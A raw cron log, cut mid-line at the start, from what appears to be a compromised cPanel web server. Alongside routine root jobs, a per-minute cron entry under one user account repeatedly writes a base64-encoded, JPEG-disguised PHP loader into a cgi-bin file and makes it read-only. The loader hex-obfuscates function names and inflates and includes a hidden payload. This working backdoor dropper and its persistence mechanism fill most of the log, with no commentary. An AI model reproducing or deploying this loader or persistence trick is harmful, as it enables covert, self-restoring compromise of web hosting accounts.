arN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:32:01 server CROND[27813]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:32:01 server CROND[27814]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:32:01 server CROND[27815]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:33:01 server CROND[28202]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:33:01 server CROND[28203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:33:01 server CROND[28204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:34:01 server CROND[28584]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:34:01 server CROND[28583]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:34:01 server CROND[28585]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:35:01 server CROND[28981]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:35:01 server CROND[28983]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:35:01 server CROND[28990]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep 11 14:35:01 server CROND[28987]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 14:35:01 server CROND[28991]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 14:35:01 server CROND[28988]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:35:01 server CROND[28985]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:35:01 server CROND[28986]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 14:35:01 server CROND[28989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:36:01 server CROND[29965]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:36:01 server CROND[29966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:36:01 server CROND[29967]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:37:01 server CROND[30460]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:37:01 server CROND[30461]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:37:01 server CROND[30462]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:38:01 server CROND[30838]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:38:01 server CROND[30839]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:38:01 server CROND[30840]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:39:01 server CROND[31224]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep 11 14:39:01 server CROND[31225]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:39:01 server CROND[31223]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:39:01 server CROND[31227]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:40:01 server CROND[31620]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 14:40:01 server CROND[31621]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 14:40:01 server CROND[31623]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 14:40:01 server CROND[31625]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:40:01 server CROND[31622]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 14:40:01 server CROND[31627]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:40:01 server CROND[31624]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:40:01 server CROND[31626]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 14:41:01 server CROND[32457]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:41:01 server CROND[32458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:41:01 server CROND[32459]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:42:01 server CROND[480]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:42:01 server CROND[483]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:42:01 server CROND[484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:42:01 server CROND[485]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 14:43:01 server CROND[908]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 14:43:01 server CROND[909]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 14:43:01 server CROND[910]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 14:44:01 server CROND[1381]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
